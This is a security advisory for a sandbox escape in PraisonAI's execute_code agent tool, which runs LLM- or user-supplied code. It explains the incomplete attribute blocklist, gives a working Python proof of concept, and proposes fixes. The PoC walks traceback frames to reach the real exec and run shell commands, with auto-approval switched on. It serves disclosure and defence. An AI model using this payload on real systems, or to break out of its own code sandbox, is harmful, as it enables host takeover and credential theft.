CVE-2026-39888: PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)

Summary

execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:

| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |
| `__traceback__` | **NO** | YES |
| `tb_frame` | **NO** | YES |
| `f_back` | **NO** | YES |
| `f_builtins` | **NO** | YES |

Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer.

Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.

---

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

| Vector | Value | Rationale |
| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |
| AC:L | Low | No race conditions or special configuration required |
| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |
| UI:N | None | No victim interaction |
| S:C | Changed | Escapes subprocess sandbox into full host process context |
| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |
| I:H | High | Arbitrary file write, arbitrary code execution on host |
| A:H | High | Can terminate processes, exhaust resources |

---

Affected

• Package: praisonaiagents (PyPI)
• Affected versions: all versions shipping sandbox_mode="sandbox" (default since introduction) through 1.5.113
• Patched versions: none at time of report
• File: praisonaiagents/tools/python_tools.py

---

Root Cause

Two separate blocked_attrs sets — one much weaker than the other

_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:

# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',   # ← present here
    '__wrapped__', '__closure__', '__annotations__',
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here
    'co_consts', 'co_names',
})

The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries — the frame-traversal attrs are missing:

# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__'
    # __traceback__, tb_frame, f_back, f_builtins — all absent
}

_safe_getattr does not protect direct dot-notation access

_safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through `_safe_getattr`. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.

No text-pattern blocklist in subprocess mode

_execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer — only the AST check runs.

---

Proof of Concept

import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code

CMD = "id"   # any shell command

payload = f"""
try:
    1/0
except ZeroDivisionError as e:
    _p = e.__traceback__.tb_frame.f_back
    _x = _p.f_builtins["exec"]
    _x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
       {{"__builtins__": _p.f_builtins}})
"""

result = execute_code(code=payload)
print(result["stdout"])

Output (praisonaiagents 1.5.113, Python 3.10):

uid=1000(user) gid=1000(user) groups=1000(user)

Why each defence is bypassed:

| Layer | Status | Reason |
| AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |
| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |
| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` — `func.id` is `'_x'`, not `'exec'` |
| Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |
| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |

---

Attack Chain

execute_code(payload)
  └─ _execute_code_sandboxed()
       └─ subprocess: exec(user_code, safe_globals)
            └─ user_code raises ZeroDivisionError
                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs
                      └─ .tb_frame           ← tb_frame not in blocked_attrs
                           └─ .f_back        ← f_back not in blocked_attrs
                                └─ .f_builtins  ← f_builtins not in blocked_attrs
                                     └─ ["exec"]  ← dict subscript, no attr check
                                          └─ _x("import subprocess; ...")
                                               └─ RCE

---

Impact

Any application that exposes execute_code to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call:

• Arbitrary command execution on the host (in the subprocess user context)
• File system read/write — source code, credentials, .env files, SSH keys
• Environment variable exfiltration — API keys, secrets passed to the agent process
• Network access — outbound connections to attacker infrastructure unaffected by env={}
• Lateral movement — the subprocess inherits the host's network stack and filesystem

---

Suggested Fix

1. Merge blocked_attrs into a single shared constant

The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set:

# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
    '__subclasses__', '__bases__', '__mro__', '__globals__',
    '__code__', '__class__', '__dict__', '__builtins__',
    '__import__', '__loader__', '__spec__', '__init_subclass__',
    '__set_name__', '__reduce__', '__reduce_ex__',
    '__traceback__', '__qualname__', '__module__',    # ← ADD
    '__wrapped__', '__closure__', '__annotations__',  # ← ADD
    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD
    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD
    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD
    'co_consts', 'co_names',                          # ← ADD
}

2. Block all _-prefixed attribute access at AST level

_safe_getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with _:

if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
    return f"Access to private attribute '{node.attr}' is restricted"

3. Add the text-pattern layer to subprocess mode

Mirror _execute_code_direct's dangerous_patterns check in _execute_code_sandboxed as defence-in-depth.

---

References

• Affected file: praisonaiagents/tools/python_tools.py (PyPI: praisonaiagents)
• CWE-693: Protection Mechanism Failure
• CWE-657: Violation of Secure Design Principles